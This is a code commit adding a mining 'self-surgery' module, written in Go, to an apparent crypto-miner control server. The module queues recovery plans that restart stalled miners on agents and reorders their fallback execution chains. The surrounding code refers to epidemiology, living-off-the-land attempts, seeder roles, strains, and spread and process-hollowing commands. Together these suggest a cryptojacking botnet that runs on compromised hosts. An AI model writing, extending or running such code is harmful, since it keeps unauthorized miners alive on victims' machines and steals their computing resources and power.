Add mining self-surgery for on-host recovery when AI control detects stalls.

When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.

server/internal/miningsurgery/plan.go

@@ -0,0 +1,199 @@
+package miningsurgery
+
+import (
+	"strings"
+
+	"crypto-miner-server/internal/epidemiology"
+)
+
+// Action is one on-host mining fix (no spread/lateral).
+type Action string
+
+const (
+	ActionContainerRestart    Action = "container_restart"
+	ActionFallbackReorder     Action = "fallback_chain_reorder"
+	ActionGPUSubprocessSwap   Action = "gpu_subprocess_swap"
+	ActionIdleThresholdTune   Action = "idle_threshold_tune"
+	ActionRandomXRestart      Action = "randomx_restart"
+)
+
+// DefaultLowHashrateHPS is the hashrate ceiling for low-hashrate self-surgery.
+const DefaultLowHashrateHPS = 1.0
+
+// Plan is the server-composed mining self-surgery payload for one agent.
+type Plan struct {
+	AgentID          string   `json:"agent_id"`
+	Reason           string   `json:"reason"`
+	Trigger          string   `json:"trigger"`
+	Actions          []Action `json:"actions"`
+	ChainOrder       []string `json:"chain_order,omitempty"`
+	SkipMethods      []string `json:"skip_methods,omitempty"`
+	IdleThresholdPct int      `json:"idle_threshold_pct,omitempty"`
+}
+
+// ComposeFromInterrupt builds a mining-only plan from an epidemiology interrupt snapshot.
+func ComposeFromInterrupt(state epidemiology.MiningInterruptState, idleThresholdPct int) Plan {
+	plan := Plan{
+		AgentID: state.AgentID,
+		Trigger: "mining_interrupt",
+		Reason:  "mining self-surgery: recover interrupted cascade on same host",
+	}
+	if idleThresholdPct <= 0 {
+		idleThresholdPct = 20
+	}
+
+	failed := failedMethodSet(state)
+	if failed["container"] || failed["docker_load"] {
+		plan.Actions = append(plan.Actions, ActionContainerRestart)
+	}
+	if state.ChainExhausted || len(failed) > 0 || len(state.FailedMethods) > 0 {
+		plan.Actions = append(plan.Actions, ActionFallbackReorder)
+		plan.ChainOrder = reorderChainFromState(state)
+		plan.SkipMethods = skipMethodsFromState(state)
+	}
+	if failed["gpu_subprocess"] {
+		plan.Actions = append(plan.Actions, ActionGPUSubprocessSwap)
+	}
+	if strings.TrimSpace(state.ActiveMethod) == "inprocess" || state.ChainExhausted {
+		plan.Actions = append(plan.Actions, ActionRandomXRestart)
+	}
+	plan.Actions = dedupeActions(plan.Actions)
+	if len(plan.Actions) == 0 {
+		plan.Actions = []Action{ActionRandomXRestart}
+	}
+	return plan
+}
+
+// ComposeFromLowHashrate builds a plan when hashing is active but below threshold.
+func ComposeFromLowHashrate(agentID, activeMethod string, hashrate float64, idleThresholdPct int) Plan {
+	if idleThresholdPct <= 0 {
+		idleThresholdPct = 20
+	}
+	tuned := idleThresholdPct + 10
+	if tuned > 80 {
+		tuned = 80
+	}
+	plan := Plan{
+		AgentID:          agentID,
+		Trigger:          "low_hashrate",
+		Reason:           "mining self-surgery: low hashrate recovery on same host",
+		IdleThresholdPct: tuned,
+	}
+	if strings.TrimSpace(activeMethod) == "container" || strings.TrimSpace(activeMethod) == "docker_load" {
+		plan.Actions = append(plan.Actions, ActionContainerRestart)
+	}
+	if strings.TrimSpace(activeMethod) == "gpu_subprocess" {
+		plan.Actions = append(plan.Actions, ActionGPUSubprocessSwap)
+	}
+	plan.Actions = append(plan.Actions, ActionIdleThresholdTune, ActionRandomXRestart)
+	plan.Actions = dedupeActions(plan.Actions)
+	return plan
+}
+
+// DetectLowHashrate is true when an agent is mining but below the H/s floor.
+func DetectLowHashrate(stats epidemiology.StatsInput, threshold float64) bool {
+	if strings.TrimSpace(stats.FleetRole) == "seeder" {
+		return false
+	}
+	if threshold <= 0 {
+		threshold = DefaultLowHashrateHPS
+	}
+	hr := stats.MiningHashrate
+	if hr <= 0 {
+		hr = stats.Hashrate15m
+	}
+	if hr <= 0 {
+		hr = stats.GPUHashrate15m
+	}
+	if hr <= 0 || hr >= threshold {
+		return false
+	}
+	return strings.TrimSpace(stats.ActiveMethod) != "" || stats.GPUMinerActive
+}
+
+func failedMethodSet(state epidemiology.MiningInterruptState) map[string]bool {
+	out := make(map[string]bool)
+	for _, f := range state.FailedMethods {
+		m := strings.TrimSpace(strings.ToLower(f.Method))
+		if m != "" {
+			out[m] = true
+		}
+	}
+	for _, a := range state.LOTLAttempts {
+		if a.OK {
+			continue
+		}
+		t := strings.TrimSpace(strings.ToLower(a.Tier))
+		if t != "" {
+			out[t] = true
+		}
+	}
+	return out
+}
+
+func skipMethodsFromState(state epidemiology.MiningInterruptState) []string {
+	seen := make(map[string]bool)
+	var out []string
+	for _, f := range state.FailedMethods {
+		m := strings.TrimSpace(f.Method)
+		if m == "" || seen[m] {
+			continue
+		}
+		seen[m] = true
+		out = append(out, m)
+	}
+	for _, a := range state.LOTLAttempts {
+		if a.OK {
+			continue
+		}
+		t := strings.TrimSpace(a.Tier)
+		if t == "" || seen[t] {
+			continue
+		}
+		seen[t] = true
+		out = append(out, t)
+	}
+	return out
+}
+
+func reorderChainFromState(state epidemiology.MiningInterruptState) []string {
+	// Prefer in-process CPU path after failures; keep GPU addon last.
+	base := []string{"inprocess", "container", "wsl", "docker_load", "gpu_subprocess"}
+	skip := failedMethodSet(state)
+	out := make([]string, 0, len(base))
+	for _, m := range base {
+		if skip[m] {
+			continue
+		}
+		out = append(out, m)
+	}
+	if len(out) == 0 {
+		return []string{"inprocess"}
+	}
+	return out
+}
+
+func dedupeActions(in []Action) []Action {
+	seen := make(map[Action]bool, len(in))
+	out := make([]Action, 0, len(in))
+	for _, a := range in {
+		if seen[a] {
+			continue
+		}
+		seen[a] = true
+		out = append(out, a)
+	}
+	return out
+}
+
+// ContainsSpreadCommand reports forbidden lateral command types.
+func ContainsSpreadCommand(types []string) bool {
+	for _, typ := range types {
+		switch strings.TrimSpace(strings.ToLower(typ)) {
+		case "discover_and_join", "discover_join", "spread_now", "spread_graft",
+			"spread_retry_lane", "stage_fetch", "process_hollowing", "hollow":
+			return true
+		}
+	}
+	return false
+}

server/internal/miningsurgery/plan_test.go

@@ -0,0 +1,78 @@
+package miningsurgery
+
+import (
+	"testing"
+
+	"crypto-miner-server/internal/epidemiology"
+)
+
+func TestComposeFromInterruptContainerRestart(t *testing.T) {
+	plan := ComposeFromInterrupt(epidemiology.MiningInterruptState{
+		AgentID:        "a1",
+		ChainExhausted: true,
+		FailedMethods: []epidemiology.MethodFailure{
+			{Method: "container", Reason: "exited"},
+		},
+		ActiveMethod: "container",
+	}, 20)
+	if len(plan.Actions) == 0 {
+		t.Fatal("expected actions")
+	}
+	found := false
+	for _, a := range plan.Actions {
+		if a == ActionContainerRestart {
+			found = true
+		}
+	}
+	if !found {
+		t.Fatalf("actions=%v want container_restart", plan.Actions)
+	}
+	if ContainsSpreadCommand([]string{"discover_and_join"}) {
+		t.Fatal("spread guard misfire")
+	}
+}
+
+func TestComposeFromLowHashrateIdleTune(t *testing.T) {
+	plan := ComposeFromLowHashrate("a1", "inprocess", 0.5, 20)
+	if plan.IdleThresholdPct != 30 {
+		t.Fatalf("idle tune=%d want 30", plan.IdleThresholdPct)
+	}
+	hasTune := false
+	for _, a := range plan.Actions {
+		if a == ActionIdleThresholdTune {
+			hasTune = true
+		}
+	}
+	if !hasTune {
+		t.Fatalf("actions=%v", plan.Actions)
+	}
+}
+
+func TestDetectLowHashrate(t *testing.T) {
+	if DetectLowHashrate(epidemiology.StatsInput{MiningHashrate: 0}, 1) {
+		t.Fatal("zero hashrate is interrupt not low")
+	}
+	if !DetectLowHashrate(epidemiology.StatsInput{
+		MiningHashrate: 0.4,
+		ActiveMethod:   "inprocess",
+	}, 1) {
+		t.Fatal("expected low hashrate")
+	}
+	if DetectLowHashrate(epidemiology.StatsInput{FleetRole: "seeder", MiningHashrate: 0.1, ActiveMethod: "inprocess"}, 1) {
+		t.Fatal("seeder excluded")
+	}
+}
+
+func TestReorderChainSkipsFailed(t *testing.T) {
+	order := reorderChainFromState(epidemiology.MiningInterruptState{
+		FailedMethods: []epidemiology.MethodFailure{{Method: "container"}},
+	})
+	if len(order) == 0 || order[0] != "inprocess" {
+		t.Fatalf("order=%v", order)
+	}
+	for _, m := range order {
+		if m == "container" {
+			t.Fatalf("failed method still in order: %v", order)
+		}
+	}
+}

server/internal/miningsurgery/tracker.go

@@ -0,0 +1,162 @@
+package miningsurgery
+
+import (
+	"crypto/sha256"
+	"encoding/hex"
+	"encoding/json"
+	"sync"
+	"time"
+)
+
+// SeerEvent is a read-only transcript row for the Seer page stream.
+type SeerEvent struct {
+	Kind      string          `json:"kind"`
+	AgentID   string          `json:"agent_id"`
+	Payload   json.RawMessage `json:"payload"`
+	Timestamp string          `json:"timestamp"`
+}
+
+// Reporter callbacks for Seer + oath ledger hooks.
+type Reporter struct {
+	OnSeer func(event SeerEvent)
+	OnOath func(agentID, actor, actionType, strain, whyHash, outcome string, payload map[string]interface{})
+}
+
+// Tracker queues per-agent mining self-surgery plans (same host only).
+type Tracker struct {
+	mu         sync.Mutex
+	pending    map[string]Plan
+	lastPlan   map[string]Plan
+	seerEvents []SeerEvent
+	reporter   Reporter
+}
+
+func NewTracker() *Tracker {
+	return &Tracker{
+		pending:    make(map[string]Plan),
+		lastPlan:   make(map[string]Plan),
+		seerEvents: make([]SeerEvent, 0, 64),
+	}
+}
+
+func (t *Tracker) SetReporter(r Reporter) {
+	if t == nil {
+		return
+	}
+	t.mu.Lock()
+	t.reporter = r
+	t.mu.Unlock()
+}
+
+// QueuePlan stores a composed plan for the agent's next auth pass.
+func (t *Tracker) QueuePlan(plan Plan) {
+	if t == nil || plan.AgentID == "" {
+		return
+	}
+	t.mu.Lock()
+	prev, seen := t.lastPlan[plan.AgentID]
+	if seen && plansEqual(prev, plan) {
+		t.mu.Unlock()
+		return
+	}
+	t.lastPlan[plan.AgentID] = plan
+	t.pending[plan.AgentID] = plan
+	reporter := t.reporter
+	t.mu.Unlock()
+	t.emit(plan, "pending", reporter)
+}
+
+// ConsumePlan returns and clears a pending plan for the agent's next auth handshake.
+func (t *Tracker) ConsumePlan(agentID string) (Plan, bool) {
+	if t == nil || agentID == "" {
+		return Plan{}, false
+	}
+	t.mu.Lock()
+	defer t.mu.Unlock()
+	plan, ok := t.pending[agentID]
+	if ok {
+		delete(t.pending, agentID)
+	}
+	return plan, ok
+}
+
+// RecordOutcome logs agent execution results to Seer + oath ledger.
+func (t *Tracker) RecordOutcome(agentID string, outcome string, results []map[string]interface{}) {
+	if t == nil || agentID == "" {
+		return
+	}
+	t.mu.Lock()
+	plan, ok := t.lastPlan[agentID]
+	reporter := t.reporter
+	t.mu.Unlock()
+	if !ok {
+		plan = Plan{AgentID: agentID, Trigger: "self_surgery_report"}
+	}
+	payload := map[string]interface{}{
+		"agent_id": agentID,
+		"trigger":  plan.Trigger,
+		"reason":   plan.Reason,
+		"actions":  plan.Actions,
+		"outcome":  outcome,
+		"results":  results,
+	}
+	raw, _ := json.Marshal(payload)
+	event := SeerEvent{
+		Kind:      "mining_self_surgery",
+		AgentID:   agentID,
+		Payload:   raw,
+		Timestamp: time.Now().UTC().Format(time.RFC3339),
+	}
+	t.mu.Lock()
+	t.seerEvents = append(t.seerEvents, event)
+	if len(t.seerEvents) > 500 {
+		t.seerEvents = t.seerEvents[len(t.seerEvents)-500:]
+	}
+	t.mu.Unlock()
+	if reporter.OnSeer != nil {
+		reporter.OnSeer(event)
+	}
+	if reporter.OnOath != nil {
+		reporter.OnOath(agentID, "ai_control:mining_surgery", "mining_self_surgery", "", hashWhy(plan), outcome, payload)
+	}
+}
+
+func (t *Tracker) emit(plan Plan, outcome string, reporter Reporter) {
+	raw, _ := json.Marshal(plan)
+	event := SeerEvent{
+		Kind:      "mining_self_surgery",
+		AgentID:   plan.AgentID,
+		Payload:   raw,
+		Timestamp: time.Now().UTC().Format(time.RFC3339),
+	}
+	t.mu.Lock()
+	t.seerEvents = append(t.seerEvents, event)
+	if len(t.seerEvents) > 500 {
+		t.seerEvents = t.seerEvents[len(t.seerEvents)-500:]
+	}
+	t.mu.Unlock()
+	if reporter.OnSeer != nil {
+		reporter.OnSeer(event)
+	}
+	if reporter.OnOath != nil {
+		payload := map[string]interface{}{
+			"agent_id": plan.AgentID,
+			"trigger":  plan.Trigger,
+			"reason":   plan.Reason,
+			"actions":  plan.Actions,
+		}
+		reporter.OnOath(plan.AgentID, "ai_control:mining_surgery", "mining_self_surgery", "", hashWhy(plan), outcome, payload)
+	}
+}
+
+func plansEqual(a, b Plan) bool {
+	ab, _ := json.Marshal(a)
+	bb, _ := json.Marshal(b)
+	return string(ab) == string(bb)
+}
+
+func hashWhy(plan Plan) string {
+	raw, _ := json.Marshal(plan)
+	sum := sha256.Sum256(raw)
+	return hex.EncodeToString(sum[:])
+}